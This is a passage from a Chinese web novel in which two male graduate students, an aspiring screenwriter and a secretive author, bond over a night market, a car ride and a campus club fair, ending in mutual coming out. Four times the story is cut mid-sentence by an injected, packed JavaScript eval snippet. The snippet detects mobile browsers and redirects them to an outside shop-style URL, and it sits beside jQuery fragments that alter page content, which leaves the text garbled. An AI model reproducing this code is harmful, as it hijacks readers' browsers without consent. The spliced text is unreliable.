跟在后面的几个人也不好再纠缠，讪讪凑上来你一句我一句地客套了两句，最后说：“老师，既然你有朋友在这，我们就不打扰了，你们多叙叙旧。”转身体面地离开了餐馆。 多叙旧。 叙刚认识还不到24小时的旧吗？ 颜语凉看着他们都西装革履的，从方才的谈话里也看不出这是在干什么，不过他没有很好奇祝君忱的隐私，只是邀请道：“我马上去彩龙街夜市吃东西，一起吗？” 廖寻桃刚走到大堂就看到颜语凉向祝君忱发起邀约，然后帅哥几乎是不假思索地点了点头。 廖寻桃：？ 颜语凉起身站起来，才看到目睹全程的廖寻桃。 “傻站着干嘛呢？”颜语凉不解地问，“怎么去那么久？” “这边妆有点卡，我看不惯，修了好久。”廖寻桃指着右边的鼻翼说。 颜语凉微微往前凑，但没有越过安全距离，仔细看了看说：“看不出来和之前有什么区别。” “直男。”廖寻桃骂他。 祝君忱在一边没有说话，廖寻桃看向他脸上绽放出笑容：“帅哥，你好呀！” “你好。”祝君忱站在颜语凉身侧，嘴角牵出一抹官方的笑，冲她点点头。 廖寻桃和他交换了名字，开心地都要转圈圈，颜语凉眼皮子跳了两下，看着她又是跳又是笑地先他们一步走出餐馆，想在祝君忱面前为她挽回一点形象，说：“她平时不这样。” 但是祝君忱似乎对拥有小迷妹这件事司空见惯，看着廖寻桃走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758083|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远的方向，说：“挺活泼的。” 颜语凉已经无力辩驳廖寻桃是清冷人设，和他并肩走出去，垂头摆弄手机点开打车软件。 祝君忱扫他一眼，学着他昨天甩钥匙的样子甩了甩自己的那串：“我开车了，坐我车去吧。” 颜语凉觉得廖寻桃如果听见这个好消息会高兴地晚上都睡不着觉。 他脑子里正想着要如何告诉廖寻桃这个消息才能避免让她发疯，祝君忱又说：“车里后座放了一箱书，只能坐一个人，可能得劳烦你坐副驾了。” 话落地的那一刻，颜语凉很清晰地感觉到自己的神经变得紧绷。 他没有坐过任何人的副驾。 他从小就是奶奶带大的，一门心思扑在学业和工作上，没有什么机会坐亲戚的车。后来他有了自己的小汽车，也不用盼着去坐别人的。 在颜语凉这里，只有关系很不错的人才可以做副驾，而且，在他所撰写的小说里，这是一个异常暧昧的位置。但是他和祝君忱仅仅是刚认识。 思绪万千，但他面上还是风轻云淡地说：“好。” 八月底，夏天的尾巴还翘着，晚上的风却已经不那么闷热了，道路两旁的银杏已经开始有变黄的趋势。 廖寻桃转身想问有没有打车，颜语凉却示意她跟着他们走，她本以为是想去方便上车的位置，没想到几人却越走越偏。 来到停车场安安静静停着的某一辆黑色小轿车前，祝君忱摁了手上的钥匙坐上了驾驶位，颜语凉回头望她一眼招招手，上了副驾。 廖寻桃：？！ 你们已经是坐副驾的关系了吗？ 这么自然！ 万年铁树这回真的开花了？！ 车开出来，她拉开后座的门失望地看到身侧有一小箱的书，确实不太好再坐一个人了。 还以为是铁树开花，原来是书箱子发力了。 可是…… 小汽车稳步走上宽大的马路，汇入长久流动的车流，两侧的路灯撒下闪亮亮的光辉。 廖寻桃心里嘀咕：其实这个小箱子也可以放后备箱，或者放在副驾吧。 * [地球研究小组（4）] 【桃女王】：[图片] 【桃女王】：彩龙街大学城夜市dd 【桃女王】：ps：有图有真相，言爷坐上了艳遇的副驾 【程和欢】：？ 【邹煜安】：早说啊，我在食堂点了五十块钱肯爷爷还没吃完呢。 【桃女王】：我和言爷没吃饭，刚刚恶心渣男去了 【桃女王】：@程和欢你怎么这么爱发问号，问号哥 桃女士无力的号召只有问号哥响应了，邹煜安被一桌子的炸鸡打败，不能赶赴。 彩龙街就在A大东校区隔壁那条街，长街百米，街边都是好吃的小餐店和小摊贩，每天都会有许多人来这海吃海喝，比那些高档餐厅更要受欢迎。 “你之前来过吗？”颜语凉站在街口问祝君忱。 对方的目光被五光十色的街巷吸引住，很轻地摇摇头：“没有。” “我请你吃我最爱的一家。”颜语凉脸上的笑止不住，脚下步子不停，带着祝君忱来到一家“章鱼小丸子”，像一个迫切想分享玩具的小孩，“这家小丸子最好吃了。” 8. 小吃街 程和欢到的时候只有廖寻桃幽怨地站在长街的拐弯口等着他。 “颜语凉呢？”程和欢见她一个人杵在这，奇怪地问。 廖寻桃叹了口气，抬手指了一个方向：“和艳遇吃小丸子呢。” 程和欢看过去，两个人都长得很显眼，坐在路边的木制餐桌边，四周人声如织，他们侃侃而谈。 廖寻桃没等他开口又解释道：“我感觉融入不了他们，所以站在这等你。” 他们也向夜市走去，廖寻桃狗仔般偷拍了一张颜语凉两人的照片发在了群里。 [地球研究小组（4）] 【桃女王】：有人被艳遇拐走了，重色轻友 【桃女王】：是谁我不说，有图有真相 【桃女王】：[图片] 【邹煜安】：[惊呆.jpg] 【邹煜安】：也没跟我说艳遇也在啊，等着，我收拾收拾就来。 廖寻桃没有再回邹煜安的话，又点开了刚刚拍的那张照片，放大，左看看右看看，最后总结道：“还挺配。” 然后抬头把鬓角被吹乱的发丝拂到耳侧，看着程和欢说：“我毒辣的眼光说他们有戏。” 璀璨的灯光下，女孩的眼睛被照得宛若星辰。 “你眼光确实毒辣。”程和欢却偏开目光，嘴毒着嘲笑，“所以今天是去撕你用毒辣眼光看上的渣男了？” “哼，跟你这种母胎solo讲不清楚。”廖寻桃一抬下巴，转身去了章鱼小丸子对面的奶茶店。 程和欢抱着胳膊，跟着她进店，看着她点了一杯果茶一杯奶茶。这人总是很细心，只要是好朋友们说过的喜好她都记着。 女孩回头去看几乎比她高一个头的男生，问道：“你说要不要给颜语凉他们点？可惜不知道艳遇爱吃什么。” 程和欢没有露出什么表情，替她主张：“不用。” “也是，他们估计自己会买，颜语凉会照顾他的艳遇的。” 廖寻桃说着，正要出示付款码，却被身后的人抢了先。 程和欢帮她付过钱，身板都没弯一下，半认真半开玩笑地说：“你给颜语凉多少钱？我收一半，下次让我来演行不行？” 廖寻桃接过服务员姐姐递过来的小票，没有注意到对方话里的几分认真，叹一口气可怜巴巴地说：“你就别挖苦我了。” 他们站到一边等奶茶出餐，没听到对方的回答，廖寻桃自顾自编着剧本：“约人到香橙水榭，结果餐馆大老板竟是我干哥哥，这剧本确实更爽文。” “但是，”廖寻桃发现一个致命的bug，转过半个身子对程和欢说，“如果你想出演，就别在我每一次刚谈的时候就第一个跳出来说请吃饭。” 说完也没等对方回话耸耸肩又有了新提议：“那我得问问邹煜安收多少钱，下次谁便宜我请谁。” 这家奶茶店排队的人很多，出餐不算快，他们站在店招牌的旁边等了很久再转过头看对面颜语凉他们已经不知道跑哪去了。 廖寻桃喝着刚买的果茶，听着夜市沸腾的喧嚣，眼里看到一家想吃的店，回头想招呼程和欢，这人似乎有些心不在焉，看到廖寻桃期盼的眼神才回神说：“走吧。” 不知是因为夹在夏秋间隙的风带着不成气候的凉，还是因为街巷嘈杂与鱼龙混杂惊扰了夏日的末梢，女孩似乎抓住了对方眼里一闪而过的难过与忧伤。 这些情绪和那些薄凉、市侩一样，同男孩格格不入。 另一边，两位认识刚过24小时的朋友你请我我请你已经吃了个半饱。 “你看，这个烤鱿鱼是不是特别好吃？”颜语凉攥着一把鱿鱼烤串，偏头去问祝君忱，“学校食堂几天就吃腻了，这几家垃圾食品倒是想起来就想吃。” 祝君忱点点头，把鱿鱼串送到嘴边，可以看出他之前在香橙水榭的烦躁情绪已经一扫而空。 有些人吃串串大口大口的，吃得满脸都是，祝君忱就连吃个烤串都是优雅的。 颜语凉不自觉地看了他好一会，直到对方回看过来才装作不经意地继续吃。 祝君忱垂目吃完了手上那一根，几乎没有任何铺垫地问：“颜语凉，你有什么特别讨厌的人吗？” 颜语凉被他突如其来的问题问得一愣：“今天在香橙水榭的那几个人是你讨厌的人吗？” 那为什么要和他们吃饭？ 祝君忱摇摇头说：“不是，但是他们都希望我和不喜欢的人合作。” 他眼帘微垂，心情像是被一层蓝布盖住了，又闷又堵。 脑海里又回想起香橙水榭的会面。 餐桌另一头和他面对面坐着的是“流光”影视公司的制片人，其他两个一个是该影视公司的什么总监另一个是什么负责人，祝君忱也没记住。 制片人噙着笑从包里拿出早已准备好的影视合约递给祝君忱。 [《海纳百石》影视改编权许可合同] 祝君忱扫一眼标题，接过来一目三行地读过去，这些合约稿的电子版他已经看过好几遍，现在他只要确定对方打印出来的版本没有进行过二次修改就行。 翻完合约稿后，祝君忱抬起头发现这几个人都热切且殷勤地看着他，斟酌过语言后，他提出了一个之前没有提出过、但是他想说很久的条件：“合约加一条，编剧不能是言不言。” 下一秒，几位制片人的表情千变万化，从先前的殷勤变成了为难，似乎他提出了什么天大的要求。 他们聚在一起讨论了一分钟，然后给祝君忱比了个数：“加这个数行吗？” 宁愿加钱也想去请言不言，这热度是非蹭不可了。 祝君忱当场就拉下脸：“那言不言那边你们也加这个数？” “如果言不言老师不愿意的话，我们也看情况加。” 祝君忱冷笑一声，先前听他们的说辞还以为编剧已经定言不言了，没想到聊都没聊过呢。 言不言这两年在影视圈已经有了两三部爆剧，身价涨了不止一倍两倍，还真以为是随随便便就能请动的了。 祝君忱垂头喝了口茶杯里的茶水，甘苦的液体缠绕舌尖，他没有劝他们不要去找言不言，只是质问：“然后呢？怎么宣传？” 没等这几个人支支吾吾出什么来，他便替他们答了：“言不言今辰好再次合作，继《尘封水》后又一力作？” 对面坐着的人交换一个眼神，脸上的表情变得又尴尬又为难。 祝君忱闷笑一声，礼貌地把合约推了回去：“抱歉，我不希望我的作品是因为别的什么才吸引人，尤其是这种我不喜欢的方式。” 他起身就要走，却被拦住了，那个什么负责人一看就不是什么善茬，一边跟着一边说着和言不言合作会有多大的好处，甚至说就算请不到言不言也能吵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758084|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一波热度，算盘珠子拨得啪啪响。 耳朵都快听发炎了，直到颜语凉喊他。 如同天籁。 “为什么？”颜语凉听到他说别人都想让他和不喜欢的人合作，不解道。 “因为效果很好。”祝君忱的眼帘微微下拉，面无表情地陈述这件事实，“而且不是一般的好。我的妈妈和表妹也都很喜欢对方。” 颜语凉一代入，如果邹煜安、程和欢和廖寻桃三个人一起在餐桌上夸今辰好，那他说不定当场就能把桌子掀翻，并把他们送进医院里看看脑子。 他光想想那个场景都有些接受不了，更别说祝君忱了，他伸手拍了拍对方的肩安慰道：“没关系，别人的看法都是别人的，真正的掌控权在你自己手上，没必要为了顾全别人的心情而做不喜欢的事，自己开心才是最重要的。” 路边的不大明亮的灯和周遭来来往往吵闹的游人，让两人的影子和声音都不大真切，但是祝君忱切切实实地听见颜语凉说“自己开心最重要”而不是站在商人的角度说“你忍忍就过去了，大局为重，赚钱要紧”。 他们在彩龙街吃一点聊一点，离开的时候已经快十点。 “下次我们再把没吃过的店吃一遍吧！” “好。” 走到停车点，祝君忱还想起来廖寻桃：“你朋友呢？真的不用管了吗？” 颜语凉摇摇头，给他看四人群最底下的群聊记录。 廖寻桃控诉完他后就等到了程和欢，邹煜安说要来到最后回到宿舍磨磨蹭蹭再没有出来。最后廖寻桃随便吃了两家爱吃的店拉着程和欢逛商场去了，并告诉颜语凉是他被他们抛弃了。 其实颜语凉走了两条街已经有些累，但是和祝君忱呆在一起给他带来的新鲜感让他短暂忘记了自己还是一个作息不大规律的低能量人群。 直到上了祝君忱的车，系好安全带后才后知后觉地上下眼皮打架。 “要睡一会吗？”祝君忱打开了车载蓝牙音响，敏锐地察觉到他不在状态。 颜语凉想说才第二次坐别人副驾就呼啦啦睡大觉是不是不太礼貌，但是实在被瞌睡虫折磨得没招，很轻地点点头。 祝君忱贴心地把空调从三档调到一档。 这一觉一眯眼睛就睡着了，脑海里浮现出几个莫名其妙的片段——廖寻桃捧着今辰好的书津津有味地读着，读到喜欢的片段欣喜地分享给程和欢、邹煜安、蒲惠，然后几个人聚在一起当着他的面一起夸，廖寻桃还指着他大声笑着说她要转粉今辰好。 颜语凉眼睛猝然一睁，当场惊醒了。 真可怕啊，不睡了。 没想到祝君忱一句身边的人都喜欢自己讨厌的人杀伤力居然那么大。 他清醒过来，偏头看见祝君忱轮廓分明的侧脸，发现这个人鼻梁真的很高，没忍住问道：“我其实第一次见面就想问了，你是混血吗？” 祝君忱目视前方，开车认真的样子平添几分俊俏，微微颔首说：“我奶奶是俄罗斯人。” “怪不得。”颜语凉趁着对方不能分心，偷偷多看了好几眼。 “怪不得什么？” “怪不得这么好看啊。”颜语凉直言不讳。 倒是把祝君忱说得半晌无言，颜语凉还是不像廖寻桃那般胆大，如果他再看久一些或者车内的灯光再亮一点，兴许就会发现他的耳根子已经有些泛红。 9. 小花瓶 祝君忱开车很稳，就像他本人一样靠谱。 程和欢平时公司事务忙，很少有机会能坐到他车。邹煜安也有驾照但是已经不碰车一万年了，属于那种逢年过节回老家才能拿家里的车小试牛刀的人，有回让他开颜语凉的车一路一惊一乍的，开得跟撞鬼似的。 颜语凉看着熟悉的回家路段，心说有一个和自己同小区的朋友就是方便啊，都不用自己开车。 就在他又一次感叹认识祝君忱真好时，音响里传来一首耳熟能详的音乐——是《尘封水》里最有名的插曲。 “有光回头望/却撞危墙 掉入海底的尘封水/变成无端的后遗症 你又想起谁。” 这句歌词在剧中总是在程末回忆起哥哥的时候响起，催得无数人潸然泪下。 动听的旋律，深沉的歌词，爆火的影视剧，让这首歌几乎火遍大街小巷。 颜语凉惊喜道：“你知道这首歌吗？” “知道。” 颜语凉跟着歌词哼了两个调子，高兴地摇摇晃晃：“你看《尘封水》了吗？” “看了。”祝君忱不自觉地用余光看他。 颜语凉倒是惊奇：“我还以为男生都不太喜欢看剧呢。” “我妈妈和我表妹都爱看，一天在家看八百遍。”这是祝君忱第一次用夸张的手法形容一件事，说明这两人真的很夸张。 “你觉得好看吗？” “……好看。”没有作者会觉得自己的心血不好的，至少祝君忱这句话没有昧着自己的良心。 尽管片头片尾都挂着言不言的名字让他很不满，但是不可否认的是剧还不错，这次合作确实是双赢。 “我也觉得，”颜语凉感觉自己的作品被肯定了，仅管那只是他的改编剧，“那你不问问我，我一个男孩子为什么喜欢看剧？” 祝君忱喉结上下滚动两下，问道：“为什么？” “我是艺术学院学戏剧影视文学的，我看电视剧都是在学习。”颜语凉非常得意地挑起眉毛说，“小时候，奶奶喜欢看戏剧，我从小的梦想就是写一个剧本能上电视，然后奶奶能自豪地在乡里传播。” 一处红灯，小汽车停了下来，祝君忱这才有空转过头来看他，听了颜语凉的话，莞尔：“那你这个梦想坚持得很久了。” “你呢？是学什么的？” “经济学。”祝君忱回答他，“没什么梦想，喜欢钱。” 颜语凉手一摊：“谁不喜欢钱，喜欢钱也是梦想好不好。” 晚间的风柔和得像一个抓不住的梦，大学城夜市离他们住的小区开车只用十分钟，红灯多了些他们走了十五分钟，但他们在这十五分钟里聊了很多有趣的事，不像昨晚那般拘束。从东校区的那棵几十年的老榕树聊到西校区游泳馆的闹鬼事件，想到什么聊什么。 那天晚上回去后，颜语凉觉得自己和祝君忱的关系拉近了不少，已经算真真正正的朋友了。但是过了几天想起来的时候，却发现依然没有什么话题可以嘘寒问暖，上次在酒馆虽然是说好了下次一起再去“街角”聚一聚，但是这个下次也不知道是什么时候，颜语凉也不知道对方什么时候有空。 快开学的时候，他终于找到一个和对方说话的话题。 祝君忱的微信头像看起来也不太年轻，是一个落着氛围灯的阳台，阳台上摆着很多的盆栽，在夜幕的阴影下泛着生机勃勃的绿色，很温馨。 微信的昵称很简单，就单字一个忱加一个冷漠的点，就像他嘴角的那颗很小的痣一样冷冰冰的。 【我无言以对】：在吗？ 【忱.】：在 【我无言以对】：你们专业几号开学？ 【忱.】:31号报道 就这样，又尴尬得不知道说什么了。 其实新认识的朋友都这样，不必聊得很熟。 颜语凉也这样想过，但是他打心底里不太甘心，可能是因为和这个人太投缘了吧，也可能是这个人长太好看了。 总之他就是开始像一个小朋友一样开始忧郁为什么没有新的玩具分享给新的朋友玩。 A大艺术学院新生开学报道是最晚的一批，他们老生开学也是最晚的一批，常常被其他卷疯了的专业艳羡。 尤其是和他们同一个校区的学院，邹煜安就是其中一个，他所在的信息学院简直地狱难度，开学是第一批开学，被分到的宿舍却是最差的，而且做项目的事也很多，所以他早早地就回到学校窝着等导师传唤了。 不像颜语凉还能以学习的名义抱着平板看剧摸鱼。 今年艺术学院开学报道在九月三号，颜语凉拖着个购物车进校园门的时候吸引了许多目光。 “我真的服了，言大爷。”邹煜安震惊道，“你哪来的购物车啊？” “你的快递啊。”颜语凉睨他一眼，暑假的时候他只回了几天老家，提前很多天来了北京，邹煜安的七大姑八大姨都想寄东西过来，邹煜安就想请颜语凉帮忙，颜语凉懒得去学校拿直接给了他自己小区的地址，结果陆陆续续到了很多快递，颜语凉都有些后悔没有收他钱。 “这么多吗——”邹煜安看着这满满一大车的快递，心生畏惧，“我待会怎么拿上楼？” “多跑两趟。” “五楼啊！” 颜语凉一摊手，说自己是把东西都送到了，剩下来的就不关他事了。 徒留邹煜安一人看着一车的饮料、水果、零食崩溃。 “要不你带点回去吧。”邹煜安说着拎起车里一瓶1L装的椰子汁想塞到他怀里，被颜语凉轻身避开。 他们站在大道的边边，身后身前都有不知道是新生还是老生的同学经过，路过的人无不转头去看他们，或偷偷或光明正大。 颜语凉脑子里浮现出自己怀里抱着两大瓶椰子水的模样，说：“不行，那太不雅了。”而且他好不容易把东西装过来，哪有带回去的道理。 邹煜安终于把注意力从购物车上挪开，看着来来往往都要看一眼颜语凉的路人心生一计：“那你不帮我搬快递，也不愿意帮我分担饮料，你得答应我一件事。” “你好。” 颜语凉正要说肯定没什么好事，一个女孩了凑上来，她扎着双马尾麻花辫，眼睛大大的，看起来很活泼，但是颜语凉听到的时候只想起了那一晚的小酒馆，迷人的昏灯下，祝君忱也是这么跟他搭话的。 “我是新生，请问艺术学院的宿舍楼怎么走？”女孩的话却打断了颜语凉的思路。 颜语凉回过神来指了个方向：“那条路直走到校湖之后右转，就能看到宿舍楼，按楼号找就行。” 女孩往他指的方向很远地望过去，有些为难地说：“学长，我方向感太差了，能不能劳烦你带我去一下？” “稍等。”颜语凉拿起手机发了个消息，于是，从不远处的红色小帐篷里跑来一个穿红马甲的女生。 女生热情地招呼着学妹：“学妹我带你去吧。” 邹煜安看着艺院的志愿者带走了学妹，给颜语凉竖起大拇指：“真冷漠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758085|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊，送送人家怎么了，反正你也喜欢男生，到时候送完了再告诉她真相，给人希望再给她掐灭了。” 颜语凉被他的纨绔想法说笑了：“没那种恶趣味，我是纯懒行不行。” 邹煜安也只是开个玩笑，耸耸肩打趣道：“学长，拒绝了学妹就不要再拒绝我了哦。听说人要是连续拒绝两次就会有不好的事发生哦。” “……”颜语凉沉默一秒，“你给我一百万，再给我两百万。要么给我一百万，要么给我两百万，不然就会有不好的事发生，因为人不能连续拒绝两次。” 邹煜安被打败了，被虐得跪地求饶。 艺院开学晚，开学的后一天就碰上百团大战，可以说是前一天连课都不知道具体有哪几类，就已经把东校区所有的社团了解了个遍。 在邹煜安撒泼打滚连拉带扯下，颜语凉纡尊降贵走进了邹煜安所在社团的招新帐篷。 没事人一样坐在蓝色塑料袋上翘着二郎腿玩起了手机，安安静静地当一个小花瓶。 这就是邹煜安昨天说的一定要颜语凉答应的事。 时值上午，靠近十点，正是一批早八人的下课时间。 有颜语凉在，“UFO研究社”果不其然聚集了好一片人。 邹煜安坐在“社长”的牌牌前，官威大得很。 有一些人是他请来的托，大多是同班同学或者是别的组织相熟的合作伙伴。 “来，看看我们UFO研究社，扫码进群报名哦。” 有被吸引来的学弟问：“学长这是干什么的呀！” 邹煜安一本正经地说：“研究UFO的。” 颜语凉正百无聊赖地翻着手机，闻言笑出了声，邹煜安佯装不悦地扫他一眼：“颜小弟，给本大爷拿瓶水来给这位学弟。” 颜语凉不为所动。 邹煜安换了说词：“颜大爷，给本小弟拿瓶水来给这位学弟。” 颜大爷眼神都没离开过手机屏幕，单手从旁边的箱子里拿出瓶矿泉水塞给他。 邹煜安依然很有官威地把矿泉水给了学弟，并好说歹说让人扫码进了迎新群。 等学弟走远，颜语凉的目光从手机屏幕移到桌子上的报名表上问：“都研三了，还给自己找事做啊，你们信息学院也没有传闻中那么忙嘛。” 没等邹煜安回答，一位正在填表的女生便同邹煜安搭话道：“社长，这位学长在社团里担什么职呀？” “呃，”邹煜安卡壳一秒，依然脸不红心不跳地说，“这是我们社团的临时财务。” 只是花瓶的颜语凉：？ “那可以要个联系方式吗？” 颜语凉装没听到，只当说的不是自己，闷头又玩起了手机。 邹煜安倒是热情：“学妹，这很简单呀，这位学长也在我们招新群里，你只要先进群再加他就行啦。” 颜语凉没说行不行，反正那个学妹感觉挺行的，欣喜地扫了码走了。 帐篷前又来了一批人，只要有人说要加颜语凉微信，邹煜安就会搬出和之前一样的说辞，颜语凉安安分分地玩着手机，没有去看到底来了些谁。 反正他们都加不上的。 直到有人噙着笑问：“学长，为什么你设置了不允许群聊加好友？” 九月初偏近中午还是很热，颜语凉都开始冒汗了。不理解邹煜安为什么精力这么旺盛，他随手抄了把扇子有一下没一下地扇着。 闻言有些讶异地抬头，看见了背着光的那个人。 是祝君忱。 10. 东校区 “你怎么在这？！”颜语凉本弓着的腰几乎一下子就挺起来，先前看上去有些困倦的脸色也焕发出光芒。 看着祝君忱举着企鹅软件群聊的页面，他连忙站起身说：“我扫你吧。” 邹煜安都惊呆了，转头盯着突然开花的颜小草：“你变脸大师啊！” 祝君忱勾起一个笑，回答颜语凉刚刚的问题：“你不是说无聊吗。” 昨天一听说邹煜安的请求颜语凉就给祝君忱发去消息问他们西校区有什么好玩的社团，然后吐槽了邹煜安搞个社长当还要他去当保镖的事。 刚刚他坐着实在是没事干，就给祝君忱发了句好无聊，本来只是随口一提，没想到祝君忱居然直接过来了。 东西两个校区之间说远不远，说近也不近，过来一趟开车要半小时。这么粗略一算，祝君忱估计是看见他消息就出校门过来了。 “那你来，”颜语凉有些无所适从，拍拍身下的塑料凳，“你和我一起当花瓶？” “不要。”祝君忱似乎被他的话逗得很开心，眼眸里尽是笑意，“你上次不是说带我转转吗？” 有祝君忱在这，周遭聚拢的人更多了，邹煜安借机圈人：“来看看我们UFO研究社！” 祝君忱趁乱退到人群外，颜语凉脚步一转，顺手拎上桌上的两瓶东方树叶向他走去，徒留邹煜安在原地向他招手：“诶——那是我留着自己喝的！” 祝君忱看着他手上“顺手牵羊”来的两瓶饮料，挑眉道：“你把他留给自己的饮料给我，你朋友不会生气吧。” 颜语凉一摊手，给他比了个二：“他又不差这一瓶两瓶，他宿舍有两箱。” 被抛弃的邹煜安招呼完一批学弟学妹们回头发现颜语凉早没了影。 遂气愤地拍了张人去“凳”空的照片发在地球研究组群聊里。 [地球研究小组（4）] 【我是走远】：颜语凉又被艳遇拐走了。 【我是走远】：[图片] 【我是走远】：有图有真相 【我无言以对】：你这个破蓝色塑料凳有什么真相 【我是走远】：真相就是某人说今天绝对不会加半个人，结果人家一来就凑上去说“我扫你吧”~ 【桃女王】：恭喜你成为了那天夜市的我。 【程和欢】修改群名为[颜语凉研究小组] 【我无言以对】修改群名为[颜语凉有什么好研究的] 【我是走远】修改群名为[颜语凉和其艳遇研究小组] 【我无言以对】修改群名为[见颜大爷昵称] 颜语凉和几位好友们争着改了一分钟的字，随即把手机揣口袋里和祝君忱一起压小路去了，他们没有说去哪，只是沿着校园的小道走，这个时间段正好人流量大，道路两旁搭着很多红色的小帐篷，几乎每个小帐篷都挂着横幅，横幅上写着各个社团的名字，千奇百怪。 “羽色飞扬？” “打羽毛球的。” “乘滑奇镜？” “滑轮滑的。” 祝君忱一眼扫过那些横幅，听着颜语凉为他解答，大多数看着社团名字都能大致知道这个社团是干什么的。 “你们的UFO研究社呢？”祝君忱又问。 颜语凉觉得这是一个有趣的事，很乐意分享给对方听，说话的调子里带着笑：“我朋友他们信息学院的社团，装机器人的。听说创办这个社团的人带着他做的机器人去参加比赛，结果回来的时候机器人头掉了，怎么装也装不回去，那个学长干脆就把机器人的手和脚都拆了只剩个肚子，美其名曰UFO，后来那个社团就从机器人研究社改名为UFO研究社了。” 靠近中午，阳光辣得刺眼，却又因为秋季不断靠近，穿过绿叶间的碎光变得无限柔和。 祝君忱背着一个黑色的书包，是很简约的款式，前两次碰见他，他的穿着都较为正式，今天倒是穿得很随意，一件大码落肩款T恤，胸口绣着一个“hello”，浅蓝色的牛仔裤和之前一样显得腿很长。 迎面走过来的女生都不由自主地看向他们，颜语凉注意到有几个人是他们学院的，不自觉和祝君忱拉开了些距离。 艺术学院里的人几乎没有不知道他的，也多多少少听过一些自己只谈男生的传言。 他怕传出些什么不好听的话影响到祝君忱。 “你想丢垃圾吗？”祝君忱看着他和自己拉开一米的距离不解地问，唯一的解释就是前边有一个垃圾桶。 颜语凉没想到立马就被发现了，有些不知道怎么回答，扯了个借口：“刚刚那边有个坑。” 距离又被拉近了，肩抵着肩。 “你吃午饭了吗？”颜语凉问道，他们现在走的方向前面正好有个食堂，看见祝君忱摇摇头，说，“尝尝前面那个食堂，和你们校区比比看？” “行。” 校园大道上的人越来越多，两人加快步子抵达食堂却依然排上长队。 颜语凉很久没吃食堂的菜了，一来是大学本科期间就已经啃了四年，二来是自己的小公寓里有只猫主子还等着投喂，而且在家里吃的话选择更多，可以自己去超市买点爱吃的回去做，也可以路边瞧见哪个店点个外带回去吃，都比在食堂排大队强。 今天是个例外，他预想到今天会在外面对付一口，给想想添的粮够它吃到晚上的。 他们排在一个炒饭窗口，颜语凉力荐，说这家量大美味，还绿色健康。 “学长，你是哪个学院的呀，可以加个微信吗？”一个女孩靠过来问，颜语凉闻声回头，他在这个校区里有很多“神话”，除了每年刚开学的时候被新生搭两句话，已经很少被搭讪，这个女孩拿着手机跃跃欲试是在问祝君忱，看见颜语凉看过来还很礼貌地打招呼：“颜学长中午好呀。” 真巧，是之前某一次竞赛合作过的学妹，今天她穿了个碎花小裙子，很是清纯甜美。 颜语凉也礼貌地向她点点头。 祝君忱却冲她摆摆手说：“没带手机。” “啊，那太可惜了。”女孩看出他拒绝的意思便没有再缠着问，和他们道了别。 颜语凉忽然想起来一件事，盯着祝君忱胸前那个hello问：“你是哪个年级的，之前忘记问了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16758086|190096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 祝君忱目光微动回答到：“我研二。” 颜语凉薄唇一扬似是占到了便宜：“学弟啊？” 祝君忱学着刚刚那个女孩的样子说：“学长，你哪个学院的，能不能加个微信？” “没带手机。”颜语凉脸一歪，学着对方的模样拒绝，随即又试探着说，“刚刚那个女孩是我们学院的学妹，今年应该是大四，之前一起做过一个项目，她的专业课成绩很好，其实你可以接触一下的。” 祝君忱瞳孔里一丝异样的情绪一闪而过，语调平平说：“你都比我了解她。” “我不一样。”颜语凉往后退了一步，双手抱着自己的胳膊。 “哪里不一样？” “我喜欢男生。”颜语凉抬眼直视他的眼睛，想从对方的表情中捕捉一丝意外、害怕或者担忧，但是都没有。 祝君忱没有一点退缩地看着他，眸光都没有动过，像说今天早上吃的是鸡蛋一样平淡地说：“没有不一样，我喜欢的也是男生。” “哦、哦。”在长达十秒钟的对视后，颜语凉先败下阵来偏开了目光，心口的跳动莫名奇妙地重了两拍。 好在下一个就轮到他点餐了，他对阿姨说出早就选好的菜，这家店是一位叔叔一位阿姨一起掌厨，一次性能为两个人点餐，祝君忱站在他的身侧，对那位叔叔说了一道炒饭。 一切如常，可是颜语凉就是有些紧张得手心冒汗。 两人都默契地没有再提互相的性取向。 